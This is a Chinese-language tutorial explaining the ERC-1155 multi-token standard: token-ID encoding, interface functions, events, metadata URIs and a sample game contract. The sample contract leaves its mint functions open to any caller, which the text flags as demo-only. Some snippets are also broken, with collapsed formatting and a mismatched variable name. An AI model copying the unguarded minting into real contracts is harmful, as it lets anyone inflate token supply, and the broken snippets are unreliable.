详解 ERC-1155 多代币标准

详解 ERC-1155 多代币标准

ERC-1155 标准描述了如何创建可替代和不可替代的代币,并将它们整合到一个智能合约中。当涉及多个代币时,这可以节省大量的部署成本。

想象一下,你是一名游戏开发者,试图将 NFT 和 ERC-20 代币整合到你的平台中,代表各种类型的资产,如鞋子、剑、帽子和游戏内货币。

使用像 ERC-721 和 ERC-20 这样的标准将要求你为每个 NFT 和 ERC-20 的集合开发多个代币合约。部署所有这些合约将是昂贵的。

如果你可以在一个合约中定义和管理所有的 NFT 资产和代币,那不是很方便吗?然后,你甚至可以创建一个机制来一次性批准或转移多个 NFT。

这个用例就是为什么 Enjin,一个 NFT 和游戏开发组织,向以太坊的 Github 仓库提交了 ERC-1155 多代币标准的第一个提案。在 2018 年 6 月 17 日,Enjin 的 ERC-1155 代币标准被以太坊基金会正式采纳。

ERC-1155 的关键特性

处理多种代币类型:可替代和不可替代

为了在单个合约中处理多种类型的代币(可替代和/或不可替代),ERC-1155 实现必须使用唯一的 uint256 代币 ID 来区分每种代币类型。这允许合约为每个代币定义独特的属性,如总供应量、URI、名称、符号等,并确保每个代币的配置彼此独立。

以下是 ERC-1155 代币 ID 结构的示例:

  • 代币 ID: 0
  • 代币 ID: 1
  • 代币 ID: 2

代币 ID 不必是连续的。它们只需是唯一的。标准并未规定代币 ID 应如何创建,因此 “铸造”函数并不是规范的一部分。

可替代性定义

以下是可替代和不可替代代币的定义;ERC-1155 支持两者。

  • 可替代

    这些代币彼此相同,如货币单位。要在 ERC-1155 中定义可替代代币集,你只需为给定的代币 ID 铸造多个代币。

    当每个代币共享相同的 ID 时,它们也将具有相同的名称和符号。这将使代币以与 ERC-20 相同的方式运作,因为它将具有多个相同的单位,使用相同的名称和符号。与 ERC-20 不同的是,没有小数来解释可替代代币的数量。所有可替代代币余额以整数单位表示。

  • 不可替代

    ERC-1155 中的不可替代代币(NFT)是独特的代币,每个代币与其他代币不同。这些代币通过为每个独特项目分配其自己的代币 ID 来表示,该 ID 是一个唯一的 uint256 值。

如何将多个不可替代代币放入 ERC-1155

在单个 ERC-1155 合约中管理多个 NFT 集合时,分配随机唯一的代币 ID 可能会使识别特定代币 ID 属于哪个集合变得具有挑战性。

为了解决这个问题,一个解决方案是以一种方式构造代币 ID,使得 ID 编码了集合和单个项目的信息:我们只需将两个数字连接在一起,连接形成的数字就是 ID。

以下是实现方法:

我们将 uint256 代币 ID 分为两部分:

  1. 集合 ID:代币 ID 的高位(最重要的 128 位)表示特定集合。
  2. 项目 ID:低位(最不重要的 128 位)表示该集合中的单个项目。

这种方案使我们能够轻松识别代币 ID 属于哪个集合,以及它在该集合中的哪个项目。所有不可替代代币将通过这种编码彼此不同。

下图显示了代币 ID 被分为集合 ID(X 值)和项目 ID(Y 值):

image shows the token ID divided into the collection id (`X` values) and item ID (`Y` values)

为了将集合和项目信息编码到单个 uint256 代币 ID 中,我们可以使用位移和加法操作。

位移

位移是将零位添加到位序列的开头或结尾的过程,基本上是将现有位向左(Solidity 操作 <<)或向右(>>)移动。

通过位移,我们可以将一个 128 位数字“注入”到 256 位数字的最重要的 128 位中。默认情况下,如果我们将一个 128 位数字转换为 256 位数字,128 位数字将位于最不重要的 128 位中。

考虑这个表示十进制数字 2 的 256 位(或 32 字节)值,向左移动 128 位(或 16 字节):

https://img.learnblockchain.cn/2025/mp4/movie-bitshift-only.mp4

在将十进制值 2 向左移动 128 位(2 << 128)后,我们得到新的十进制值 680564733841876926926749214863536422912 或 0x0000000000000000000000000000000200000000000000000000000000000000

以十六进制表示。

使用这种位移技术,我们能够用零填充最不重要的 128 位。由于 NFT ID 存储为 uint256 类型,我们可以将 项目 ID 添加到 位移的集合 ID。以下是一个简单的公式来说明这一点:

uint256 token_ID = shifted_collection_id + individual_token_id

以下动画展示了位移和加法操作在后台是如何发生的:

https://img.learnblockchain.cn/2025/mp4/movie-bitshift-add.mp4

想象这个场景,一个 ERC-1155 合约有两个不同的不可替代代币集合:CoolPhotos 和 RareSkills,分别具有 collectionID 1 和 2。如果 Bob 想检查他是否拥有来自 RareSkills 集合的 itemID 7 的项目,则用于此检查的有效代币 ID 将是 collectionIDitemID 的组合:

$$
\texttt{0x\textcolor{orange}{00000000000000000000000000000002}\textcolor{lightgreen}{00000000000000000000000000000007}} $$

其中橙色位表示 RareSkills 集合 ID,绿色位表示该集合的项目 ID。

以下是上述示例中的 ERC-1155 合约可能如何存储和检索给定代币 ID 的账户余额:

    // 嵌套映射以存储余额
    // tokenID => owner => balance
    mapping(uint256 => mapping(address => uint256)) balances;

    // 检索特定代币 ID 的地址余额
    function balanceOf(address owner, uint256 tokenid) public view returns (uint256) {
        return balances[tokenid][owner];
    }

使用上述代码,Bob 可以调用 balanceOf 函数,使用代币 ID (2 << 128) + 7 来检查他的所有权:

    uint256 rareSkillsTokenCollectionID = 2 << 128; // collection id is 2
    uint256 rsNFT = 7; // item id

    // 如果 Bob 拥有传递的 tokenid,则返回 1,否则返回 0
    uint256 bobBalance = balanceOf(
                            address(Bob), 
                            rareSkillsTokenCollectionID + rsNFT  // (2 << 128) + 7 
                        );

如果 bobBalance = 1,则 Bob 拥有来自 RareSkills 集合的 itemID 7 的项目。至关重要的是,合约必须强制该代币的总供应量不能超过 1,否则该代币将变为可替代代币而不是不可替代代币。

我们之前讨论了使用位移方法唯一计算代币 ID。要反转此过程并从 tokenId 获取 collectionIditemId,我们将 tokenId 向右移动 128 位以检索 collectionId,并将 tokenId 转换为 128 位以获得 itemId

以下是计算的示例代码:

  1. 给定 NFT 集合 ID 和 itemId 计算 ERC-1155 代币 ID
  2. 给定 ERC-1555 代币 ID 计算集合 ID 和 item ID
    contract A {

        // 1. 计算代币 ID
        function getTokenId(
            uint256 collectionId, 
            uint256 itemId 
            ) public pure returns (bytes32 tokenId) {

            // 将集合 ID 左移 128 位
            uint256 shiftedCollectionId = collectionId << 128;

            // 将 item ID 加到移位后的集合 ID 上
            tokenId =  bytes32(shiftedCollectionId + itemId);
        }

        // 2. 获取集合 ID 和 item ID
        function getCollectionIdAndItemId(
            uint256 tokenId
            ) public pure returns (uint256 collectionId, uint256 itemId) {

            // 将代币 ID 右移 128 位
            collectionId = tokenId >> 128;

            // 将代币 ID 转换为 128
            itemId = uint128(tokenId);
        }

    }

来自 Remix 的屏幕截图,显示了两个函数的测试代码:

Remix 代码截图调用两个函数

结构化代币 ID 技术是一种实现多个非同质化代币与 ERC1155 的方法,因为该标准并未规定必须如何实现。然而,有一种名为 ERC1155D 的 ERC1155 实现,它是对原始标准的迭代,旨在优化铸造非同质化代币的 gas 效率,如果合约只需要支持单个 NFT 集合。

ERC-1155D

ERC-1155D 专为非同质化代币(与 ERC-721 相同)设计,其中每个代币都有唯一的标识符和唯一的拥有者。它与 ERC-1155 完全向后兼容。

何时使用 ERC1155D?

当你在合约中不需要多个非同质化代币集合(如 CoolPhotos RareSkills 示例)时,使用 ERC1155D,同时强制代币的供应量为 1,并且最多只有一个拥有者。

总之,所有代币都在单个合约下管理,使用 uint256 值作为代币 ID。然而,特定代币 ID 如何分配给不同类型的代币完全取决于合约的用例。

核心 ERC1155 函数

这些是实现 ERC1155 标准的合约必须实现的 ERC1155 接口中的函数。每个函数的代码片段来自标准的规范。

余额检索

  • balanceOf

    在 ERC-721 中,balanceOf(address _owner) 返回整个代币 ID 集合的地址余额。因此,如果一个地址拥有代币 1、5 和 7,则该地址的 balanceOf(address _owner) 将返回 3

    然而,在 ERC-1155 中,balanceOf 函数的结构是为了检索特定代币 ID 对于特定账户地址的代币余额。

          /**
              @notice 获取账户代币的余额。
              @param _owner  代币持有者的地址
              @param _id     代币的 ID
              @return        请求的代币类型的 _owner 的余额
          */
          function balanceOf(address _owner,uint256 _id) external view returns (uint256);

一个地址可以持有不同数量的各种代币 ID,例如 1 个代币 ID 1,20 个代币 ID 5 等等。然而,在 ERC-1155 合约中,没有直接的方法来衡量一个地址在所有代币 ID 中拥有的代币总数,因为 balanceOf 函数的设计仅用于检查 你拥有的特定 tokenID 的数量,而不是你在整个合约中拥有的 tokenIDs 的数量。

  • balanceOfBatch

    还存在一种批量机制,称为 balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)。此方法通过循环调用 balanceOf 一次性检索每个地址每个 ID 的多个余额。

          /**
              @notice 获取多个账户/代币对的余额
              @param _owners  代币持有者的地址
              @param _ids     代币的 ID
              @return        请求的代币类型的 _owner 的余额(即每个 (owner, id) 对的余额)
          */
          function balanceOfBatch(
                  address[] calldata _owners,
                  uint256[] calldata _ids
                  ) external view returns (uint256[] memory);

ERC-1155 不支持列出所有现有代币 ID 的机制。

要获取 1155 合约的所有现有 ID,我们必须解析链下的日志(稍后我们将展示如何做到这一点)。

全部授权

ERC-1155 允许所有者通过调用 setApprovalForAll(address _operator, bool _approved) 方法在单个交易中授予操作员管理其所有代币的权限。此函数接受操作员的 address 和表示批准状态的 bool 作为参数:

    /**
        @notice 启用或禁用第三方(“操作员”)管理调用者所有代币的批准。
        @dev 成功时必须发出 ApprovalForAll 事件。
        @param _operator  要添加到授权操作员集合的地址
        @param _approved  如果操作员被批准则为真,撤销批准则为假
        */
    function setApprovalForAll(address _operator,bool _approved) external;

请注意,此方法实际上批准用户在 ERC-1155 合约中拥有的所有内容。这就像为 ERC-20 设置最大批准并为 ERC-721 调用 setApprovalForAll。操作员可以转移 ERC-1155 合约中所有者的任何代币,无论数量多少。

安全转移 safeTransfer

遵循 ERC-721 模式,ERC-1155 还具有 “安全转移”机制,该机制检查确保代币的接收者是有效的接收者。实际上,ERC-1155 仅支持安全转移。

  • safeTransferFrom
          /**
              @param _from    来源地址
              @param _to      目标地址
              @param _id      代币类型的 ID
              @param _value   转账金额
              @param _data    附加数据,格式不指定,必须以原样发送到 `_to` 的 `onERC1155Received` 调用中
          */
          function safeTransferFrom(
                      address _from,
                      address _to,
                      uint256 _id,
                      uint256 _value,
                      bytes calldata _data) external;

如果接收方是一个 EOA,那么 safeTransferFrom 会检查地址是否不是零地址。如果接收方是一个智能合约,则会调用 onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) 回调函数,并期望返回魔法值 bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))

一个 ERC-1155 代币不能转移到一个未实现 onERC1155Received 或错误实现 onERC1155Received 的智能合约。

  • safeBatchTransferFrom
          /**
              @param _from    来源地址
              @param _to      目标地址
              @param _ids     每种代币类型的 ID(顺序和长度必须与 _values 数组匹配)
              @param _values  每种代币类型的转账金额(顺序和长度必须与 _ids 数组匹配)
              @param _data    附加数据,格式不指定,必须以原样发送到 `_to` 的 `ERC1155TokenReceiver` 钩子中
          */
          function safeBatchTransferFrom(
                      address _from,
                      address _to,
                      uint256[] calldata _ids,
                      uint256[] calldata _values,
                      bytes calldata _data) external;

此外,该标准允许所有者和操作员执行批量转账。可以在一个交易中将多组代币从源地址转移到目标地址。

批量转账可以通过调用:

*   `safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data)`,
    *   它将调用接收方的 `onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data)` 回调
        *   并期望返回魔法值 `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`。

**SafeTransferFrom vs SafeBatchTransferFrom**

使用 OpenZeppelin 的 ERC1155 实现,下面的图像比较了调用 `safeTransferFrom` 三次与将转账批量处理为一次交易的 gas 使用情况:

![Gas benchmark of SafeTransferFrom and SafeBatchTransferFrom](https://img.learnblockchain.cn/attachments/migrate/1736159466415)

使用 safeBatchTransferFrom,如红框所示,消耗 132,437 gas,这显著低于蓝框中三个独立 safeTransferFrom 调用所使用的 189,861 gas。

核心数据结构

ERC-1155 实现通常使用映射来保存核心数据的状态,例如前述的余额、批准和 URI。例如,ERC-1155 可以使用以下存储变量:

    mapping(uint256 id => mapping(address account => uint256 balance)) internal _balances;

    mapping(address account => mapping(address operator => bool isApproved)) internal _operatorApprovals;

    string private _uri;

让我们在接下来的部分中检查每个数据结构。

余额

余额存储在一个具有两个级别的嵌套映射中。外部映射的键表示 token ID,指向另一个将 address(所有者)映射到 _balances 的映射。

为了返回该结构下给定代币的账户余额,balanceOf 实现将以如下方式访问值:

function balanceOf(address account, uint256 id) public view returns (uint256) {
    return _balances[id][account];
}

批准

类似地,批准存储在一个嵌套映射中,因为一个账户可以授予多个操作员批准。外部映射的键是所有者,指向一个映射,该映射将操作员映射到他们的批准状态。

考虑以下 isApprovedForAll 函数的示例实现,通过它访问批准状态:

    function isApprovedForAll(address account, address operator) public view returns (bool) {
        return _operatorApprovals[account][operator];
    }

日志和事件

ERC-1155 标准保证通过观察智能合约发出的事件日志,可以创建所有当前代币余额的准确记录,因为每次代币铸造、销毁和转移都被记录。

必须发出事件的场景列表如下:

  • 当某个地址授予或撤销另一个地址管理其所有代币的操作员批准时,必须发出 ApprovalForAll 事件:
          event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
  • 当代币从一个地址转移到另一个地址时,包括铸造和销毁,必须发出 TransferSingleTransferBatch 事件。
          // 当单个代币转移时发出
          event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);

          // 当一批代币转移时发出
          event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);

如果调用 safeBatchTransferFrom 函数时使用了单个 tokenID,则会发出 TransferSingle 事件,否则会发出 TransferBatch 事件。

  • 如果特定代币 ID 的元数据 URI 变化,必须发出 URI 事件:
          event URI(string _value, uint256 indexed _id);

随着这些事件在与之相关的函数调用时被记录/发出,我们可以在 JavaScript 中获取以下离线信息:

  • 1155 合约的现有代币 ID:

    下面的代码使用 ethers.js 库与 ERC-1155 合约进行交互,并在指定的区块范围内获取在 TransferSingleTransferBatch 事件中发出的所有代币 ID 的列表。

    
          import { ethers } from "ethers"; // v6
    
          // 连接到以太坊提供者
          const provider = new ethers.JsonRpcProvider("rpc-url");
    
          // ERC-1155 合约地址和 ABI
          const erc1155ContractAddress = "YourContractAddress";
          const abi = [
            /* ERC-1155 ABI 这里 */
            "event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value)",
            "event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values)",
          ];
          const contract = new ethers.Contract(erc1155ContractAddress, abi, provider);

(async (startBlockNumber) => { // Fetch TransferSingle and TransferBatch events const singleEvents = await erc1155ContractInstance.queryFilter( "TransferSingle", // event startBlockNumber, // start block startBlockNumber + 100000, // end block ); const batchEvents = await erc1155ContractInstance.queryFilter( "TransferBatch", // event startBlockNumber, // start block startBlockNumber + 100000, // end block );

const tokenIds = new Set();

// Get token IDs from TransferSingle events singleEvents.forEach((event) => { // Destructure the args field const { operator, from, to, id, value } = event.args;

// Add `id` to the `tokenIds` set
tokenIds.add(id);

});

// Get token IDs from TransferBatch events batchEvents.forEach((event) => { // Destructure the args field const { operator, from, to, ids, values } = event.args;

// Loop through `ids` then add `id` to the `tokenIds` set
ids.forEach((id) => tokenIds.add(id.toString()));

});

console.log("Token IDs in existence:", Array.from(tokenIds)); })();


*   **用户拥有的所有代币 ID:**

    以下代码列出用户拥有的所有 ID。它通过跟踪转移事件 `to` 和 `from` 来实现。为了确保准确,`startBlockNumber` 需要在该地址的最早交互之前设置。

```javascript
async function getUserTokenIds(userAddress, startBlockNumber) {
  const singleEvents = await erc1155ContractInstance.queryFilter('TransferSingle', startBlockNumber, startBlockNumber + 100000);
  const batchEvents = await erc1155ContractInstance.queryFilter('TransferBatch', startBlockNumber, startBlockNumber + 100000);

  const balances = {};

  // Process TransferSingle events
  singleEvents.forEach(event => {
    const { operator, from, to, id, value } = event.args;

    if (to.toLowerCase() === userAddress.toLowerCase()) {
      balances[id] = (balances[id] || 0) + parseInt(value.toString());
    }

    if (from.toLowerCase() === userAddress.toLowerCase()) {
      balances[id] = (balances[id] || 0) - parseInt(value.toString());
    }
  });

  // Process TransferBatch events
  batchEvents.forEach(event => {
    const { operator, from, to, ids, values } = event.args;

    ids.forEach((id, index) => {
      const value = parseInt(values[index].toString());

      if (to.toLowerCase() === userAddress.toLowerCase()) {
        balances[id] = (balances[id] || 0) + value;
      }

      if (from.toLowerCase() === userAddress.toLowerCase()) {
        balances[id] = (balances[id] || 0) - value;
      }
    });
  });

  // Filter out IDs with a balance greater than zero
  const ownedTokenIds = Object.keys(balances).filter(id => balances[id] > 0);

  console.log(ownedTokenIds);
}

统一资源标识符 (URIs)

ERC-1155 仅有一个 uri 函数,如标准所规定。该标准并未规定 uri 函数是否应使用或忽略代币 ID。如何获取 uri 取决于合约的实现。例如,如果合约实现需要共享 URI,我们可以忽略 id 直接返回基础 uri _uri,否则,我们可以对代币 ID 和基础 uri 进行编码。

代币 ID 的共享 URI 的示例实现:

string private _uri;

function uri(uint256 /* id */) public view virtual returns (string memory) {
  return _uri;
}

以上 uri 函数将始终返回相同的 URI,忽略代币 ID。

每个代币 ID 唯一 URI 的示例实现:

如果我们希望根据代币 ID 更改返回的字符串,Strings 库将非常有用,但它不是 Solidity 的本地库,而是 OpenZeppelin Strings library 的一部分。在下面的示例实现中,它用于将一个 uint256 的 tokenID 转换为编码为 Solidity 字符串的十六进制数。

下面是如何使用 Strings 库根据 ID 更改 URI 的示例:

import "@openzeppelin/contracts/utils/Strings.sol";

string private _uri;

function uri(uint256 id) public view virtual returns (string memory) {
  return string(abi.encodePacked(
    _uri,
    Strings.toHexString(id, 32), // Convert tokenId to hex with fixed length
    ".json"
  ));
}

uri 函数通过将传入的代币 ID 附加到基础 URI,为每个代币返回唯一的 URI。例如,如果基础 URI 是 https://token-cdn-domain/,使用代币 ID 314592(十六进制为 0x4CCE0)调用该函数将返回 https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json

该标准要求客户端用实际代币 ID 的十六进制字符串表示替换 {id} 参数(如果存在)。替换的字符串必须是小写字母数字:[0-9a-f],并且没有“0x”前缀,如果需要,前导零填充到 64 个十六进制字符长度。

代币 ID 替换方法通过将传入的代币 ID 附加到基础 uri,减少了存储大量代币的唯一 URI 所需的开销。

URIs 的结构

标准并不要求 ERC-1155 代币必须具有 URI 元数据。然而,如果 ERC-1155 实现合约定义了任何代币的 URI,则必须指向符合“ERC-1155 元数据 URI JSON schema”的 JSON 文件。

该 URI 通常指向一个离线资源,例如一个服务器或 IPFS,其中存储元数据。

ERC-1155 元数据 URI JSON 架构如下所示:

{
    "title": "Token Metadata",
    "type": "object",
    "properties": { 
        "name": {
            "type": "string",
            "description": "Identifies the asset to which this token represents"
        },
        "decimals": {
            "type": "integer",
            "description": "The number of decimal places that the token amount should display - e.g. 18, means to divide the token amount by 1000000000000000000 to get its user representation."
        },
        "description": {
            "type": "string",
            "description": "Describes the asset to which this token represents"
        },
        "image": {
            "type": "string",
            "description": "A URI pointing to a resource with mime type image/* representing the asset to which this token represents. Consider making any images at a width between 320 and 1080 pixels and aspect ratio between 1.91:1 and 4:5 inclusive."
        },
        "properties": {
            "type": "object",
            "description": "Arbitrary properties. Values may be strings, numbers, object or arrays."
        }
    }
}

一个符合上述 JSON 元数据架构的汽车 NFT 示例 JSON:

    {
      "title": "RareSkills Car Metadata",
      "type": "object",
      "properties": {
        "name": "RareSkills Car #1",
        "description": "一款具有尖端科技的高性能电动车。",
        "image": "https://image-uri/rareskills-car1.png",
        "year": 2024,
        "topSpeed": "200 mph",
        "batteryCapacity": "100 kWh",
        "features": ["自动驾驶", "完全自驾", "高级音响系统"],
      }
    }

title 字段描述了元数据的目的,type 字段指定了元数据的数据格式,properties 字段定义了关于汽车的额外属性或元数据。

URI JSON Schema 中的本地化字段

支持本地化的客户端可能通过利用 JSON 格式的 ERC-1155 中的 localization 属性来显示多种语言的代币信息(如果存在的话)。

localization 元数据的架构如下:

   {
        "title": "Token Metadata",
        "type": "object",
        "properties": {

                ...

            "localization": {
                "type": "object",
                "required": ["uri", "default", "locales"],
                "properties": {
                    "uri": {
                        "type": "string",
                        "description": "用于获取本地化数据的 URI 模式。此 URI 应包含子字符串 `{locale}`,在发送请求之前将被替换为适当的语言环境值。"
                    },
                    "default": {
                        "type": "string",
                        "description": "基本 JSON 中默认数据的语言环境"
                    },
                    "locales": {
                        "type": "array",
                        "description": "可用数据的语言环境列表。这些语言环境应符合 Unicode 通用语言环境数据仓库中定义的内容 (http://cldr.unicode.org/)。"
                    }
                }
            }
        }
    }

以下是包含 localization 属性的元数据 JSON 文件示例:


    {
     "name": "RareSkills Token",
     "description": "每个代币代表 RareSkills 社区中的一个独特通行证。",
     "properties": {
         "localization": {
           "uri": "ipfs://xxx/{locale}.json",
           "default": "en",
           "locales": ["en", "es", "fr"]
         }
     }
    }

locales 属性是一个包含三个元素的数组:enesfren 设置为默认语言。数组中的每个元素都有其各自语言的元数据 JSON 文件。

es.json:

    {
      "name": "RareSkills simbólico",
      "description": "每个代币代表 RareSkills 社区中的一个独特通行证。"
    }

fr.json:


    {
      "name": "RareSkills Jeton",
      "description": "每个代币代表 RareSkills 社区中的一个独特通行证。"
    }

类似于代币 ID 替换,如果 uri 包含字符串 {locale},客户端必须将其替换为 locales 数组中定义的可用语言环境之一,然后指向目标语言的元数据 JSON 文件。

获取法语元数据的示例步骤

  1. 调用代币 ID 314592uri 函数以获取代币元数据 JSON 的 URI

    
    
         // 返回的 uri: https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json
2.  从步骤 1 中返回的 uri 中读取 JSON 内容,以获取所需语言的基本 URI

```json
         {
          "name": "RareSkills Token",
          "description": "每个代币代表 RareSkills 社区中的一个独特通行证。",
          "properties": {
              "localization": {
                "uri": "https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/{locale}.json",
                "default": "en",
                "locales": ["en", "es", "fr"]
              }
          }
         }
  1. localization → uri 字段中用 fr 替换 {locale} 字符串,以获取法语版本的元数据 URI
         // 法语语言 URI: 
         // [https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/fr.json](https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json)

在与不受信任的元数据交互时,请务必在解析之前清理结果。前端呈现的任何 JSON 可能是跨站脚本攻击的载体。

OpenSea 如何解释元数据

ERC-1155 合约得到 OpenSea 的支持,本节展示了 OpenSea 如何解释 ERC-1155 元数据。一个实时示例是来自一个名为 Common Ground World 的区块链游戏:

OpenSea common worlds nft 截图

截至撰写时,Common Ground World 定义了 681 个集合作为游戏内资产,OpenSea 在上面的图像中将其称为“独特物品”(红框)。每个集合中所有资产的总和大约为 9 百万(绿色框)。

以下是该游戏的一部分集合示例:

OpenSea common worlds collection 截图

水箱 集合的总供应量约为 4,800 件(绿色框),由大约 2,900 个地址(红框)拥有。

请注意,OpenSea 不提供任何给定 ERC-721 代币的总供应信息,因为每个 tokenID 的供应量为一个且恰好有一个所有者。以下是一个随机的由 F15C93 拥有的无聊猿游艇俱乐部 NFT,仅作比较:

无聊猿游艇俱乐部随机 NFT 截图,由 F15C93 拥有

通过查看 OpenSea 的详情部分,可以更清楚地看出此代币符合 ERC-1155 标准,见下方红框:

OpenSea common world 元数据截图

OpenSea 能够通过从代币的元数据中提取数据来显示描述和特征信息,点击 Token ID 可观察到:

    {
        "decimalPlaces": 0,
        "description": "永远不要低估为你的作物提供被动、按需水源的能力。你的农民会感谢你!",
        "image": "https://tokens.gala.games/images/sandbox-games/town-star/storage/water-tank.gif",
        "name": "水箱",
        "properties": {
            "category": "存储",
            "game": "镇星",
            "rarity": {
                "hexcode": "#939393",
                "icon": "https://tokens.gala.games/images/sandbox-games/rarity/common.png",
                "label": "普通",
                "supplyLimit": 5159
            },
            "tokenRun": "storage"
        }
    }

OpenSea 定义了 元数据标准,以使 URIs 符合要求,从而允许 OpenSea 提取 ERC721 和 ERC1155 资产的链外元数据。

实现示例

以下是一个简单游戏的 ERC-1155 实现合约示例。它实例化了 OpenZeppelin 的 ERC-1155 抽象合约,并具有额外的函数作为包装器和助手来改变游戏状态:

  • initializePlayer:通过铸造由常量 INITIAL_IN_GAME_CURRENCY_BALANCE 定义的数量来初始化玩家账户。
  • mintInGameCurrency:为特定玩家铸造额外的游戏内货币。
  • mintCar:允许玩家铸造独特的基于 NFT 的汽车。

    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.24;
    
    import { ERC1155 } from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
    
    contract GameAssets is ERC1155 {
        uint256 constant TOKEN_ID_IN_GAME_CURRENCY = 0;    // 可替代代币 ID 
        uint256 constant TOKEN_ID_BASE_CAR_COLLECTION = 1; // 非可替代代币 ID 
    
        uint256 constant INITIAL_IN_GAME_CURRENCY_BALANCE = 1000;
        uint256 constant MINIMUM_AMOUNT = 1500;
    
        uint256 public nextTokenIndex;
    
        constructor(string memory uri) ERC1155(uri) {}
    
        function initializePlayer(address to, bytes memory data) public {
            mintInGameCurrency(to, INITIAL_IN_GAME_CURRENCY_BALANCE, data);
        }
    
        function mintInGameCurrency(address to, uint256 value, bytes memory data) public {
            _mint(to, TOKEN_ID_IN_GAME_CURRENCY, value, data);
        }
    
        function mintCar(address player, bytes memory data) public returns (uint256 carId) {
            // 确保玩家的代币 ID `TOKEN_ID_IN_GAME_CURRENCY` 的余额
            // 大于或等于 `MINIMUM_AMOUNT`
            require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, "");
    
            // 非可替代的魔法
            carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++;
    
            // 铸造汽车
            _mint(player, carId, 1, data);
        }
    }

注意: 此合约仅用于演示目的,省略了关键的安全特性和优化。

游戏将拥有两种类型的令牌:

  1. 玩家通过完成任务可以赚取的游戏内货币($IGC)。这将是一个可替代代币。
  2. 表示玩家可以铸造的汽车集合的非可替代代币。

当我们部署此合约时,我们的合约地址为 0xCc3958FE4Beb3bcb894c184362486eBEc2E1fD4D,我们将使用 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 作为玩家地址。

在接下来的几个部分中,我们将演示如何与此合约交互以管理其代币资产。

使用 ERC-1155 的游戏示例

下方的流程图说明了玩家如何与游戏的 ERC-1155 合约进行交互,包括铸造游戏内货币和汽车。

游戏合约工作流程图

ERC-1155 代币 0:铸造 $IGC

IGC 代币图像

假设我们希望玩家从 1000 $IGC 开始。有了这个,我们可以通过在合约中调用 initializePlayer 函数来将这些代币铸造给每位玩家。这将把 IGC 的代币 ID(0)和铸造数量发送到 OpenZeppelin 基合约的 _mint(address to, uint256 id, uint256 value, bytes memory data)

这个 _mint 函数是 OpenZeppelin 创建代币的方法,最终会执行接受检查,调用 safeTransferFrom 并发出 TransferSingle 事件(下方蓝框),这是标准所要求的。

在调用 initializePlayer 函数后,我们可以看到以下日志:

显示转移单个事件的屏幕截图

在红框中,我们可以看到 TransferSingle 事件被发出,而在绿框中,零地址向我们的玩家地址发送了 1000 单位的游戏内货币(代币 ID 0)。

铸造更多 $IGC

随着我们的玩家完成任务,我们希望用更多的 $IGC 奖励他们。我们可以在游戏合约中调用 mintInGameCurrency 函数,这将调用 OpenZeppelin 的 _mint 函数,指定我们玩家的地址(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4)、作为奖励的代币金额(500)以及任何要发送到接收者回调的字节数据(在这种情况下没有数据)。使用这些值调用 mintInGameCurrency 将铸造 500 个 IGC 代币。

当我们通过 balanceOf 检查玩家的 $IGC 余额时:

玩家 $IGC 余额的屏幕截图

我们看到我们的玩家现在的余额为 1500 $IGC(初始 + 奖励)。

ERC-1155 代币 1:铸造非可替代资产(汽车)

汽车 nft

现在,假设我们希望允许玩家通过拥有最低的 $IGC 余额来铸造汽车。请记住,汽车集合是非可替代的。

首先,我们将为每辆汽车 NFT 定义独特的元数据,其中包含汽车的特征。

例如,我们集合中第一辆汽车的 URI 将是:

https://token-cdn-domain/0000000000000000000000000000000100000000000000000000000000000000.json

其中 id 是:以十进制表示或以十六进制表示

橙色部分表示汽车集合 ID(1),而绿色部分表示第一辆汽车的代币 ID(0)。它们共同形成一个指向元数据的唯一 ID,可以是:

    {
        "name": "超级快速汽车",
        "description": "这辆超级快速的汽车与其他汽车不同,它超级快速。",
        "image": "https://images.com/{id}.png",
        "properties": {
            "features": {
                "speed": "100",
                "color": "blue",
                "model": "SuperFast x1000",
                "rims": "aluminum"
            }
        }
    }

现在,我们在合约上调用 mintCar 函数来铸造他们的汽车 NFT:

    function mintCar(address player, bytes memory data) public returns (uint256 carId) {
        // 确保玩家的代币 ID `TOKEN_ID_IN_GAME_CURRENCY` 的余额
        // 大于或等于 `MINIMUM_AMOUNT`
        require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, "");

        // 非可替代的魔法
        carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++;

        // 铸造汽车
        _mint(player, carId, 1, data);
    }

carId 变量是非可替代的魔法发生的地方。它通过组合汽车集合 ID 和下一个可用的代币索引(从零开始)来计算每辆汽车 NFT 的唯一代币 ID。

在调用 mintCar 函数后:

调用 mintCar 函数后的日志屏幕截图

正如预期的那样,向玩家的地址铸造了一个汽车 NFT(黄色框)来自 地址零

注意: NFT 的 ID(红框)为 340282366920938463463374607431768211456,这是 (1 << 128) + 0 的结果,其中 1 是汽车集合的基础代币 ID,而 0 是集合内 NFT 的项目 ID。

除了在单个合约中管理可替代代币和不可替代代币外,解决 ERC-1155 合约中的安全漏洞也很重要。一个常见的漏洞是重入攻击,它可以利用铸造或转移过程。

ERC-1155 中铸造和转移的重入攻击

